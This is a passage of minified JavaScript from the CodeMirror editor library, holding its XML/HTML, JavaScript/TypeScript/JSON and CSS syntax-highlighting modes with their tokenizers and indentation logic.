B;if(F.eat("#")){if(F.eat("x")){B=F.eatWhile(/[a-fA-F\d]/)&&F.eat(";")}else{B=F.eatWhile(/[\d]/)&&F.eat(";")}}else{B=F.eatWhile(/[\w\.\-:]/)&&F.eat(";")}return B?"atom":"error"}else{F.eatWhile(/[^&<]/);return null}}}function m(E,D){var C=E.next();if(C==">"||(C=="/"&&E.eat(">"))){D.tokenize=n;f=C==">"?"endTag":"selfcloseTag";return"tag bracket"}else{if(C=="="){f="equals";return null}else{if(C=="<"){D.tokenize=n;D.state=l;D.tagName=D.tagStart=null;var B=D.tokenize(E,D);return B?B+" tag error":"tag error"}else{if(/[\'\"]/.test(C)){D.tokenize=j(C);D.stringStartCol=E.column();return D.tokenize(E,D)}else{E.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);return"word"}}}}}function j(B){var C=function(E,D){while(!E.eol()){if(E.next()==B){D.tokenize=m;break}}return"string"};C.isInAttribute=true;return C}function v(C,B){return function(E,D){while(!E.eol()){if(E.match(B)){D.tokenize=n;break}E.next()}return C}}function z(B){return function(E,D){var C;while((C=E.next())!=null){if(C=="<"){D.tokenize=z(B+1);return D.tokenize(E,D)}else{if(C==">"){if(B==1){D.tokenize=n;break}else{D.tokenize=z(B-1);return D.tokenize(E,D)}}}}return"meta"}}function r(C,B,D){this.prev=C.context;this.tagName=B;this.indent=C.indented;this.startOfLine=D;if(w.doNotIndent.hasOwnProperty(B)||(C.context&&C.context.noIndent)){this.noIndent=true}}function u(B){if(B.context){B.context=B.context.prev}}function q(D,C){var B;while(true){if(!D.context){return}B=D.context.tagName;if(!w.contextGrabbers.hasOwnProperty(B)||!w.contextGrabbers[B].hasOwnProperty(C)){return}u(D)}}function l(B,D,C){if(B=="openTag"){C.tagStart=D.column();return b}else{if(B=="closeTag"){return t}else{return l}}}function b(B,D,C){if(B=="word"){C.tagName=D.current();g="tag";return e}else{g="error";return b}}function t(C,E,D){if(C=="word"){var B=E.current();if(D.context&&D.context.tagName!=B&&w.implicitlyClosed.hasOwnProperty(D.context.tagName)){u(D)}if(D.context&&D.context.tagName==B){g="tag";return s}else{g="tag error";return A}}else{g="error";return A}}function s(C,B,D){if(C!="endTag"){g="error";return s}u(D);return l}function A(B,D,C){g="error";return s(B,D,C)}function e(E,C,F){if(E=="word"){g="attribute";return i}else{if(E=="endTag"||E=="selfcloseTag"){var D=F.tagName,B=F.tagStart;F.tagName=F.tagStart=null;if(E=="selfcloseTag"||w.autoSelfClosers.hasOwnProperty(D)){q(F,D)}else{q(F,D);F.context=new r(F,D,B==F.indented)}return l}}g="error";return e}function i(B,D,C){if(B=="equals"){return o}if(!w.allowMissing){g="error"}return e(B,D,C)}function o(B,D,C){if(B=="string"){return h}if(B=="word"&&w.allowUnquoted){g="string";return e}g="error";return e(B,D,C)}function h(B,D,C){if(B=="string"){return h}return e(B,D,C)}return{startState:function(){return{tokenize:n,state:l,indented:0,tagName:null,tagStart:null,context:null}},token:function(D,C){if(!C.tagName&&D.sol()){C.indented=D.indentation()}if(D.eatSpace()){return null}f=null;var B=C.tokenize(D,C);if((B||f)&&B!="comment"){g=null;C.state=C.state(f||B,D,C);if(g){B=g=="error"?B+" error":g}}return B},indent:function(G,C,F){var E=G.context;if(G.tokenize.isInAttribute){if(G.tagStart==G.indented){return G.stringStartCol+1}else{return G.indented+p}}if(E&&E.noIndent){return a.Pass}if(G.tokenize!=m&&G.tokenize!=n){return F?F.match(/^(\s*)/)[0].length:0}if(G.tagName){if(d){return G.tagStart+G.tagName.length+2}else{return G.tagStart+p*x}}if(c&&/<!\[CDATA\[/.test(C)){return 0}var B=C&&/^<(\/)?([\w_:\.-]*)/.exec(C);if(B&&B[1]){while(E){if(E.tagName==B[2]){E=E.prev;break}else{if(w.implicitlyClosed.hasOwnProperty(E.tagName)){E=E.prev}else{break}}}}else{if(B){while(E){var D=w.contextGrabbers[E.tagName];if(D&&D.hasOwnProperty(B[2])){E=E.prev}else{break}}}}while(E&&!E.startOfLine){E=E.prev}if(E){return E.indent+p}else{return 0}},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"<!--",blockCommentEnd:"-->",configuration:k.htmlMode?"html":"xml",helperType:k.htmlMode?"html":"xml"}});a.defineMIME("text/xml","xml");a.defineMIME("application/xml","xml");if(!a.mimeModes.hasOwnProperty("text/html")){a.defineMIME("text/html",{name:"xml",htmlMode:true})}});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("javascript",function(Z,aj){var l=Z.indentUnit;var A=aj.statementIndent;var aB=aj.jsonld;var z=aj.json||aB;var g=aj.typescript;var au=aj.wordCharacters||/[\w$\xa1-\uffff]/;var ar=function(){function aR(aT){return{type:aT,style:"keyword"}}var aM=aR("keyword a"),aK=aR("keyword b"),aJ=aR("keyword c");var aL=aR("operator"),aP={type:"atom",style:"atom"};var aN={"if":aR("if"),"while":aM,"with":aM,"else":aK,"do":aK,"try":aK,"finally":aK,"return":aJ,"break":aJ,"continue":aJ,"new":aJ,"delete":aJ,"throw":aJ,"debugger":aJ,"var":aR("var"),"const":aR("var"),let:aR("var"),"function":aR("function"),"catch":aR("catch"),"for":aR("for"),"switch":aR("switch"),"case":aR("case"),"default":aR("default"),"in":aL,"typeof":aL,"instanceof":aL,"true":aP,"false":aP,"null":aP,"undefined":aP,"NaN":aP,"Infinity":aP,"this":aR("this"),module:aR("module"),"class":aR("class"),"super":aR("atom"),yield:aJ,"export":aR("export"),"import":aR("import"),"extends":aJ};if(g){var aS={type:"variable",style:"variable-3"};var aO={"interface":aR("interface"),"extends":aR("extends"),constructor:aR("constructor"),"public":aR("public"),"private":aR("private"),"protected":aR("protected"),"static":aR("static"),string:aS,number:aS,bool:aS,any:aS};for(var aQ in aO){aN[aQ]=aO[aQ]}}return aN}();var P=/[+\-*&%=<>!?|~^]/;var aq=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function F(aM){var aK=false,aJ,aL=false;while((aJ=aM.next())!=null){if(!aK){if(aJ=="/"&&!aL){return}if(aJ=="["){aL=true}else{if(aL&&aJ=="]"){aL=false}}}aK=!aK&&aJ=="\\"}}var S,G;function L(aL,aK,aJ){S=aL;G=aJ;return aK}function U(aN,aL){var aJ=aN.next();if(aJ=='"'||aJ=="'"){aL.tokenize=R(aJ);return aL.tokenize(aN,aL)}else{if(aJ=="."&&aN.match(/^\d+(?:[eE][+\-]?\d+)?/)){return L("number","number")}else{if(aJ=="."&&aN.match("..")){return L("spread","meta")}else{if(/[\[\]{}\(\),;\:\.]/.test(aJ)){return L(aJ)}else{if(aJ=="="&&aN.eat(">")){return L("=>","operator")}else{if(aJ=="0"&&aN.eat(/x/i)){aN.eatWhile(/[\da-f]/i);return L("number","number")}else{if(/\d/.test(aJ)){aN.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/);return L("number","number")}else{if(aJ=="/"){if(aN.eat("*")){aL.tokenize=aA;return aA(aN,aL)}else{if(aN.eat("/")){aN.skipToEnd();return L("comment","comment")}else{if(aL.lastType=="operator"||aL.lastType=="keyword c"||aL.lastType=="sof"||/^[\[{}\(,;:]$/.test(aL.lastType)){F(aN);aN.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);return L("regexp","string-2")}else{aN.eatWhile(P);return L("operator","operator",aN.current())}}}}else{if(aJ=="`"){aL.tokenize=aC;return aC(aN,aL)}else{if(aJ=="#"){aN.skipToEnd();return L("error","error")}else{if(P.test(aJ)){aN.eatWhile(P);return L("operator","operator",aN.current())}else{if(au.test(aJ)){aN.eatWhile(au);var aM=aN.current(),aK=ar.propertyIsEnumerable(aM)&&ar[aM];return(aK&&aL.lastType!=".")?L(aK.type,aK.style,aM):L("variable","variable",aM)}}}}}}}}}}}}}function R(aJ){return function(aN,aL){var aM=false,aK;if(aB&&aN.peek()=="@"&&aN.match(aq)){aL.tokenize=U;return L("jsonld-keyword","meta")}while((aK=aN.next())!=null){if(aK==aJ&&!aM){break}aM=!aM&&aK=="\\"}if(!aM){aL.tokenize=U}return L("string","string")}}function aA(aM,aL){var aJ=false,aK;while(aK=aM.next()){if(aK=="/"&&aJ){aL.tokenize=U;break}aJ=(aK=="*")}return L("comment","comment")}function aC(aM,aK){var aL=false,aJ;while((aJ=aM.next())!=null){if(!aL&&(aJ=="`"||aJ=="$"&&aM.eat("{"))){aK.tokenize=U;break}aL=!aL&&aJ=="\\"}return L("quasi","string-2",aM.current())}var m="([{}])";function ax(aP,aM){if(aM.fatArrowAt){aM.fatArrowAt=null}var aL=aP.string.indexOf("=>",aP.start);if(aL<0){return}var aO=0,aK=false;for(var aQ=aL-1;aQ>=0;--aQ){var aJ=aP.string.charAt(aQ);var aN=m.indexOf(aJ);if(aN>=0&&aN<3){if(!aO){++aQ;break}if(--aO==0){break}}else{if(aN>=3&&aN<6){++aO}else{if(au.test(aJ)){aK=true}else{if(/["'\/]/.test(aJ)){return}else{if(aK&&!aO){++aQ;break}}}}}}if(aK&&!aO){aM.fatArrowAt=aQ}}var b={atom:true,number:true,variable:true,string:true,regexp:true,"this":true,"jsonld-keyword":true};function J(aO,aK,aJ,aN,aL,aM){this.indented=aO;this.column=aK;this.type=aJ;this.prev=aL;this.info=aM;if(aN!=null){this.align=aN}}function s(aM,aL){for(var aK=aM.localVars;aK;aK=aK.next){if(aK.name==aL){return true}}for(var aJ=aM.context;aJ;aJ=aJ.prev){for(var aK=aJ.vars;aK;aK=aK.next){if(aK.name==aL){return true}}}}function f(aN,aK,aJ,aM,aO){var aP=aN.cc;D.state=aN;D.stream=aO;D.marked=null,D.cc=aP;D.style=aK;if(!aN.lexical.hasOwnProperty("align")){aN.lexical.align=true}while(true){var aL=aP.length?aP.pop():z?an:aH;if(aL(aJ,aM)){while(aP.length&&aP[aP.length-1].lex){aP.pop()()}if(D.marked){return D.marked}if(aJ=="variable"&&s(aN,aM)){return"variable-2"}return aK}}}var D={state:null,column:null,marked:null,cc:null};function aa(){for(var aJ=arguments.length-1;aJ>=0;aJ--){D.cc.push(arguments[aJ])}}function ae(){aa.apply(null,arguments);return true}function aw(aK){function aJ(aN){for(var aM=aN;aM;aM=aM.next){if(aM.name==aK){return true}}return false}var aL=D.state;if(aL.context){D.marked="def";if(aJ(aL.localVars)){return}aL.localVars={name:aK,next:aL.localVars}}else{if(aJ(aL.globalVars)){return}if(aj.globalVars){aL.globalVars={name:aK,next:aL.globalVars}}}}var q={name:"this",next:{name:"arguments"}};function w(){D.state.context={prev:D.state.context,vars:D.state.localVars};D.state.localVars=q}function x(){D.state.localVars=D.state.context.vars;D.state.context=D.state.context.prev}function aF(aK,aL){var aJ=function(){var aO=D.state,aM=aO.indented;if(aO.lexical.type=="stat"){aM=aO.lexical.indented}else{for(var aN=aO.lexical;aN&&aN.type==")"&&aN.align;aN=aN.prev){aM=aN.indented}}aO.lexical=new J(aM,D.stream.column(),aK,null,aO.lexical,aL)};aJ.lex=true;return aJ}function h(){var aJ=D.state;if(aJ.lexical.prev){if(aJ.lexical.type==")"){aJ.indented=aJ.lexical.indented}aJ.lexical=aJ.lexical.prev}}h.lex=true;function r(aJ){function aK(aL){if(aL==aJ){return ae()}else{if(aJ==";"){return aa()}else{return ae(aK)}}}return aK}function aH(aJ,aK){if(aJ=="var"){return ae(aF("vardef",aK.length),d,r(";"),h)}if(aJ=="keyword a"){return ae(aF("form"),an,aH,h)}if(aJ=="keyword b"){return ae(aF("form"),aH,h)}if(aJ=="{"){return ae(aF("}"),y,h)}if(aJ==";"){return ae()}if(aJ=="if"){if(D.state.lexical.info=="else"&&D.state.cc[D.state.cc.length-1]==h){D.state.cc.pop()()}return ae(aF("form"),an,aH,h,e)}if(aJ=="function"){return ae(M)}if(aJ=="for"){return ae(aF("form"),u,aH,h)}if(aJ=="variable"){return ae(aF("stat"),aI)}if(aJ=="switch"){return ae(aF("form"),an,aF("}","switch"),r("{"),y,h,h)}if(aJ=="case"){return ae(an,r(":"))}if(aJ=="default"){return ae(r(":"))}if(aJ=="catch"){return ae(aF("form"),w,r("("),af,r(")"),aH,h,x)}if(aJ=="module"){return ae(aF("form"),w,H,x,h)}if(aJ=="class"){return ae(aF("form"),V,h)}if(aJ=="export"){return ae(aF("form"),aG,h)}if(aJ=="import"){return ae(aF("form"),ag,h)}return aa(aF("stat"),an,r(";"),h)}function an(aJ){return Y(aJ,false)}function aE(aJ){return Y(aJ,true)}function Y(aK,aM){if(D.state.fatArrowAt==D.stream.start){var aJ=aM?N:W;if(aK=="("){return ae(w,aF(")"),at(i,")"),h,r("=>"),aJ,x)}else{if(aK=="variable"){return aa(w,i,r("=>"),aJ,x)}}}var aL=aM?j:ab;if(b.hasOwnProperty(aK)){return ae(aL)}if(aK=="function"){return ae(M,aL)}if(aK=="keyword c"){return ae(aM?ak:ai)}if(aK=="("){return ae(aF(")"),ai,az,r(")"),h,aL)}if(aK=="operator"||aK=="spread"){return ae(aM?aE:an)}if(aK=="["){return ae(aF("]"),n,h,aL)}if(aK=="{"){return ay(t,"}",null,aL)}if(aK=="quasi"){return aa(Q,aL)}return ae()}function ai(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(an)}function ak(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(aE)}function ab(aJ,aK){if(aJ==","){return ae(an)}return j(aJ,aK,false)}function j(aJ,aL,aN){var aK=aN==false?ab:j;var aM=aN==false?an:aE;if(aJ=="=>"){return ae(w,aN?N:W,x)}if(aJ=="operator"){if(/\+\+|--/.test(aL)){return ae(aK)}if(aL=="?"){return ae(an,r(":"),aM)}return ae(aM)}if(aJ=="quasi"){return aa(Q,aK)}if(aJ==";"){return}if(aJ=="("){return ay(aE,")","call",aK)}if(aJ=="."){return ae(al,aK)}if(aJ=="["){return ae(aF("]"),ai,r("]"),h,aK)}}function Q(aJ,aK){if(aJ!="quasi"){return aa()}if(aK.slice(aK.length-2)!="${"){return ae(Q)}return ae(an,p)}function p(aJ){if(aJ=="}"){D.marked="string-2";D.state.tokenize=aC;return ae(Q)}}function W(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:an)}function N(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:aE)}function aI(aJ){if(aJ==":"){return ae(h,aH)}return aa(ab,r(";"),h)}function al(aJ){if(aJ=="variable"){D.marked="property";return ae()}}function t(aJ,aK){if(aJ=="variable"||D.style=="keyword"){D.marked="property";if(aK=="get"||aK=="set"){return ae(I)}return ae(K)}else{if(aJ=="number"||aJ=="string"){D.marked=aB?"property":(D.style+" property");return ae(K)}else{if(aJ=="jsonld-keyword"){return ae(K)}else{if(aJ=="["){return ae(an,r("]"),K)}}}}}function I(aJ){if(aJ!="variable"){return aa(K)}D.marked="property";return ae(M)}function K(aJ){if(aJ==":"){return ae(aE)}if(aJ=="("){return aa(M)}}function at(aL,aJ){function aK(aN){if(aN==","){var aM=D.state.lexical;if(aM.info=="call"){aM.pos=(aM.pos||0)+1}return ae(aL,aK)}if(aN==aJ){return ae()}return ae(r(aJ))}return function(aM){if(aM==aJ){return ae()}return aa(aL,aK)}}function ay(aM,aJ,aL){for(var aK=3;aK<arguments.length;aK++){D.cc.push(arguments[aK])}return ae(aF(aJ,aL),at(aM,aJ),h)}function y(aJ){if(aJ=="}"){return ae()}return aa(aH,y)}function T(aJ){if(g&&aJ==":"){return ae(ad)}}function av(aJ,aK){if(aK=="="){return ae(aE)}}function ad(aJ){if(aJ=="variable"){D.marked="variable-3";return ae()}}function d(){return aa(i,T,ac,X)}function i(aJ,aK){if(aJ=="variable"){aw(aK);return ae()}if(aJ=="["){return ay(i,"]")}if(aJ=="{"){return ay(aD,"}")}}function aD(aJ,aK){if(aJ=="variable"&&!D.stream.match(/^\s*:/,false)){aw(aK);return ae(ac)}if(aJ=="variable"){D.marked="property"}return ae(r(":"),i,ac)}function ac(aJ,aK){if(aK=="="){return ae(aE)}}function X(aJ){if(aJ==","){return ae(d)}}function e(aJ,aK){if(aJ=="keyword b"&&aK=="else"){return ae(aF("form","else"),aH,h)}}function u(aJ){if(aJ=="("){return ae(aF(")"),E,r(")"),h)}}function E(aJ){if(aJ=="var"){return ae(d,r(";"),C)}if(aJ==";"){return ae(C)}if(aJ=="variable"){return ae(v)}return aa(an,r(";"),C)}function v(aJ,aK){if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return ae(ab,C)}function C(aJ,aK){if(aJ==";"){return ae(B)}if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return aa(an,r(";"),B)}function B(aJ){if(aJ!=")"){ae(an)}}function M(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(M)}if(aJ=="variable"){aw(aK);return ae(M)}if(aJ=="("){return ae(w,aF(")"),at(af,")"),h,aH,x)}}function af(aJ){if(aJ=="spread"){return ae(af)}return aa(i,T,av)}function V(aJ,aK){if(aJ=="variable"){aw(aK);return ae(O)}}function O(aJ,aK){if(aK=="extends"){return ae(an,O)}if(aJ=="{"){return ae(aF("}"),o,h)}}function o(aJ,aK){if(aJ=="variable"||D.style=="keyword"){if(aK=="static"){D.marked="keyword";return ae(o)}D.marked="property";if(aK=="get"||aK=="set"){return ae(c,M,o)}return ae(M,o)}if(aK=="*"){D.marked="keyword";return ae(o)}if(aJ==";"){return ae(o)}if(aJ=="}"){return ae()}}function c(aJ){if(aJ!="variable"){return aa()}D.marked="property";return ae()}function H(aJ,aK){if(aJ=="string"){return ae(aH)}if(aJ=="variable"){aw(aK);return ae(ah)}}function aG(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(ah,r(";"))}if(aK=="default"){D.marked="keyword";return ae(an,r(";"))}return aa(aH)}function ag(aJ){if(aJ=="string"){return ae()}return aa(ap,ah)}function ap(aJ,aK){if(aJ=="{"){return ay(ap,"}")}if(aJ=="variable"){aw(aK)}if(aK=="*"){D.marked="keyword"}return ae(k)}function k(aJ,aK){if(aK=="as"){D.marked="keyword";return ae(ap)}}function ah(aJ,aK){if(aK=="from"){D.marked="keyword";return ae(an)}}function n(aJ){if(aJ=="]"){return ae()}return aa(aE,am)}function am(aJ){if(aJ=="for"){return aa(az,r("]"))}if(aJ==","){return ae(at(ak,"]"))}return aa(at(aE,"]"))}function az(aJ){if(aJ=="for"){return ae(u,az)}if(aJ=="if"){return ae(an,az)}}function ao(aK,aJ){return aK.lastType=="operator"||aK.lastType==","||P.test(aJ.charAt(0))||/[,.]/.test(aJ.charAt(0))}return{startState:function(aK){var aJ={tokenize:U,lastType:"sof",cc:[],lexical:new J((aK||0)-l,0,"block",false),localVars:aj.localVars,context:aj.localVars&&{vars:aj.localVars},indented:0};if(aj.globalVars&&typeof aj.globalVars=="object"){aJ.globalVars=aj.globalVars}return aJ},token:function(aL,aK){if(aL.sol()){if(!aK.lexical.hasOwnProperty("align")){aK.lexical.align=false}aK.indented=aL.indentation();ax(aL,aK)}if(aK.tokenize!=aA&&aL.eatSpace()){return null}var aJ=aK.tokenize(aL,aK);if(S=="comment"){return aJ}aK.lastType=S=="operator"&&(G=="++"||G=="--")?"incdec":S;return f(aK,aJ,S,G,aL)},indent:function(aP,aJ){if(aP.tokenize==aA){return a.Pass}if(aP.tokenize!=U){return 0}var aO=aJ&&aJ.charAt(0),aM=aP.lexical;if(!/^\s*else\b/.test(aJ)){for(var aL=aP.cc.length-1;aL>=0;--aL){var aQ=aP.cc[aL];if(aQ==h){aM=aM.prev}else{if(aQ!=e){break}}}}if(aM.type=="stat"&&aO=="}"){aM=aM.prev}if(A&&aM.type==")"&&aM.prev.type=="stat"){aM=aM.prev}var aN=aM.type,aK=aO==aN;if(aN=="vardef"){return aM.indented+(aP.lastType=="operator"||aP.lastType==","?aM.info+1:0)}else{if(aN=="form"&&aO=="{"){return aM.indented}else{if(aN=="form"){return aM.indented+l}else{if(aN=="stat"){return aM.indented+(ao(aP,aJ)?A||l:0)}else{if(aM.info=="switch"&&!aK&&aj.doubleIndentSwitch!=false){return aM.indented+(/^(?:case|default)\b/.test(aJ)?l:2*l)}else{if(aM.align){return aM.column+(aK?0:1)}else{return aM.indented+(aK?0:l)}}}}}}},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:z?null:"/*",blockCommentEnd:z?null:"*/",lineComment:z?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:z?"json":"javascript",jsonldMode:aB,jsonMode:z}});a.registerHelper("wordChars","javascript",/[\w$]/);a.defineMIME("text/javascript","javascript");a.defineMIME("text/ecmascript","javascript");a.defineMIME("application/javascript","javascript");a.defineMIME("application/x-javascript","javascript");a.defineMIME("application/ecmascript","javascript");a.defineMIME("application/json",{name:"javascript",json:true});a.defineMIME("application/x-json",{name:"javascript",json:true});a.defineMIME("application/ld+json",{name:"javascript",jsonld:true});a.defineMIME("text/typescript",{name:"javascript",typescript:true});a.defineMIME("application/typescript",{name:"javascript",typescript:true})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(p){p.defineMode("css",function(T,G){if(!G.propertyKeywords){G=p.resolveMode("text/css")}var M=T.indentUnit,y=G.tokenHooks,w=G.documentTypes||{},S=G.mediaTypes||{},I=G.mediaFeatures||{},F=G.propertyKeywords||{},z=G.nonStandardPropertyKeywords||{},B=G.fontProperties||{},R=G.counterDescriptors||{},L=G.colorKeywords||{},O=G.valueKeywords||{},J=G.allowNested;var A,K;function U(X,Y){A=Y;return X}function W(aa,Z){var Y=aa.next();if(y[Y]){var X=y[Y](aa,Z);if(X!==false){return X}}if(Y=="@"){aa.eatWhile(/[\w\\\-]/);return U("def",aa.current())}else{if(Y=="="||(Y=="~"||Y=="|")&&aa.eat("=")){return U(null,"compare")}else{if(Y=='"'||Y=="'"){Z.tokenize=H(Y);return Z.tokenize(aa,Z)}else{if(Y=="#"){aa.eatWhile(/[\w\\\-]/);return U("atom","hash")}else{if(Y=="!"){aa.match(/^\s*\w*/);return U("keyword","important")}else{if(/\d/.test(Y)||Y=="."&&aa.eat(/\d/)){aa.eatWhile(/[\w.%]/);return U("number","unit")}else{if(Y==="-"){if(/[\d.]/.test(aa.peek())){aa.eatWhile(/[\w.%]/);return U("number","unit")}else{if(aa.match(/^-[\w\\\-]+/)){aa.eatWhile(/[\w\\\-]/);if(aa.match(/^\s*:/,false)){return U("variable-2","variable-definition")}return U("variable-2","variable")}else{if(aa.match(/^\w+-/)){return U("meta","meta")}}}}else{if(/[,+>*\/]/.test(Y)){return U(null,"select-op")}else{if(Y=="."&&aa.match(/^-?[_a-z][_a-z0-9-]*/i)){return U("qualifier","qualifier")}else{if(/[:;{}\[\]\(\)]/.test(Y)){return U(null,Y)}else{if((Y=="u"&&aa.match(/rl(-prefix)?\(/))||(Y=="d"&&aa.match("omain("))||(Y=="r"&&aa.match("egexp("))){aa.backUp(1);Z.tokenize=V;return U("property","word")}else{if(/[\w\\\-]/.test(Y)){aa.eatWhile(/[\w\\\-]/);return U("property","word")}else{return U(null,null)}}}}}}}}}}}}}function H(X){return function(ab,Z){var aa=false,Y;while((Y=ab.next())!=null){if(Y==X&&!aa){if(X==")"){ab.backUp(1)}break}aa=!aa&&Y=="\\"}if(Y==X||!aa&&X!=")"){Z.tokenize=null}return U("string","string")}}function V(Y,X){Y.next();if(!Y.match(/\s*[\"\')]/,false)){X.tokenize=H(")")}else{X.tokenize=null}return U(null,"(")}function N(Y,X,Z){this.type=Y;this.indent=X;this.prev=Z}function D(Y,Z,X){Y.context=new N(X,Z.indentation()+M,Y.context);return X}function P(X){X.context=X.context.prev;return X.context.type}function x(X,Z,Y){return C[Y.context.type](X,Z,Y)}function Q(Y,aa,Z,ab){for(var X=ab||1;X>0;X--){Z.context=Z.context.prev}return x(Y,aa,Z)}function E(Y){var X=Y.current().toLowerCase();if(O.hasOwnProperty(X)){K="atom"}else{if(L.hasOwnProperty(X)){K="keyword"}else{K="variable"}}}var C={};C.top=function(X,Z,Y){if(X=="{"){return D(Y,Z,"block")}else{if(X=="}"&&Y.context.prev){return P(Y)}else{if(/@(media|supports|(-moz-)?document)/.test(X)){return D(Y,Z,"atBlock")}else{if(/@(font-face|counter-style)/.test(X)){Y.stateArg=X;return"restricted_atBlock_before"}else{if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(X)){return"keyframes"}else{if(X&&X.charAt(0)=="@"){return D(Y,Z,"at")}else{if(X=="hash"){K="builtin"}else{if(X=="word"){K="tag"}else{if(X=="variable-definition"){return"maybeprop"}else{if(X=="interpolation"){return D(Y,Z,"interpolation")}else{if(X==":"){return"pseudo"}else{if(J&&X=="("){return D(Y,Z,"parens")}}}}}}}}}}}}return Y.context.type};C.block=function(X,aa,Y){if(X=="word"){var Z=aa.current().toLowerCase();if(F.hasOwnProperty(Z)){K="property";return"maybeprop"}else{if(z.hasOwnProperty(Z)){K="string-2";return"maybeprop"}else{if(J){K=aa.match(/^\s*:(?:\s|$)/,false)?"property":"tag";return"block"}else{K+=" error";return"maybeprop"}}}}else{if(X=="meta"){return"block"}else{if(!J&&(X=="hash"||X=="qualifier")){K="error";return"block"}else{return C.top(X,aa,Y)}}}};C.maybeprop=function(X,Z,Y){if(X==":"){return D(Y,Z,"prop")}return x(X,Z,Y)};C.prop=function(X,Z,Y){if(X==";"){return P(Y)}if(X=="{"&&J){return D(Y,Z,"propBlock")}if(X=="}"||X=="{"){return Q(X,Z,Y)}if(X=="("){return D(Y,Z,"parens")}if(X=="hash"&&!/^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/.test(Z.current())){K+=" error"}else{if(X=="word"){E(Z)}else{if(X=="interpolation"){return D(Y,Z,"interpolation")}}}return"prop"};C.propBlock=function(Y,X,Z){if(Y=="}"){return P(Z)}if(Y=="word"){K="property";return"maybeprop"}return Z.context.type};C.parens=function(X,Z,Y){if(X=="{"||X=="}"){return Q(X,Z,Y)}if(X==")"){return P(Y)}if(X=="("){return D(Y,Z,"parens")}if(X=="interpolation"){return D(Y,Z,"interpolation")}if(X=="word"){E(Z)}return"parens"};C.pseudo=function(X,Z,Y){if(X=="word"){K="variable-3";return Y.context.type}return x(X,Z,Y)};C.atBlock=function(X,aa,Y){if(X=="("){return D(Y,aa,"atBlock_parens")}if(X=="}"){return Q(X,aa,Y)}if(X=="{"){return P(Y)&&D(Y,aa,J?"block":"top")}if(X=="word"){var Z=aa.current().toLowerCase();if(Z=="only"||Z=="not"||Z=="and"||Z=="or"){K="keyword"}else{if(w.hasOwnProperty(Z)){K="tag"}else{if(S.hasOwnProperty(Z)){K="attribute"}else{if(I.hasOwnProperty(Z)){K="property"}else{if(F.hasOwnProperty(Z)){K="property"}else{if(z.hasOwnProperty(Z)){K="string-2"}else{if(O.hasOwnProperty(Z)){K="atom"}else{K="error"}}}}}}}}return Y.context.type};C.atBlock_parens=function(X,Z,Y){if(X==")"){return P(Y)}if(X=="{"||X=="}"){return Q(X,Z,Y,2)}return C.atBlock(X,Z,Y)};C.restricted_atBlock_before=function(X,Z,Y){if(X=="{"){return D(Y,Z,"restricted_atBlock")}if(X=="word"&&Y.stateArg=="@counter-style"){K="variable";return"restricted_atBlock_before"}return x(X,Z,Y)};C.restricted_atBlock=function(X,Z,Y){if(X=="}"){Y.stateArg=null;return P(Y)}if(X=="word"){if((Y.stateArg=="@font-face"&&!B.hasOwnProperty(Z.current().toLowerCase()))||(Y.stateArg=="@counter-style"&&!R.hasOwnProperty(Z.current().toLowerCase()))){K="error"}else{K="property"}return"maybeprop"}return"restricted_atBlock"};C.keyframes=function(X,Z,Y){if(X=="word"){K="variable";return"keyframes"}if(X=="{"){return D(Y,Z,"top")}return x(X,Z,Y)};C.at=function(X,Z,Y){if(X==";"){return P(Y)}if(X=="{"||X=="}"){return Q(X,Z,Y)}if(X=="word"){K="tag"}else{if(X=="hash"){K="builtin"}}return"at"};C.interpolation=function(X,Z,Y){if(X=="}"){return P(Y)}if(X=="{"||X==";"){return Q(X,Z,Y)}if(X=="word"){K="variable"}else{if(X!="variable"&&X!="("&&X!=")"){K="error"}}return"interpolation"};return{startState:function(X){return{tokenize:null,state:"top",stateArg:null,context:new N("top",X||0,null)}},token:function(Z,Y){if(!Y.tokenize&&Z.eatSpace()){return null}var X=(Y.tokenize||W)(Z,Y);if(X&&typeof X=="object"){A=X[1];X=X[0]}K=X;Y.state=C[Y.state](A,Z,Y);return K},indent:function(ab,Z){var Y=ab.context,aa=Z&&Z.charAt(0);var X=Y.indent;if(Y.type=="prop"&&(aa=="}"||aa==")")){Y=Y.prev}if(Y.prev&&(aa=="}"&&(Y.type=="block"||Y.type=="top"||Y.type=="interpolation"||Y.type=="restricted_atBlock")||aa==")"&&(Y.type=="parens"||Y.type=="atBlock_parens")||aa=="{"&&(Y.type=="at"||Y.type=="atBlock"))){X=Y.indent-M;Y=Y.prev}return X},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",fold:"brace"}});function g(y){var x={};for(var w=0;w<y.length;++w){x[y[w]]=true}return x}var k=["domain","regexp","url","url-prefix"],a=g(k);var b=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],t=g(b);var v=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"],i=g(v);var 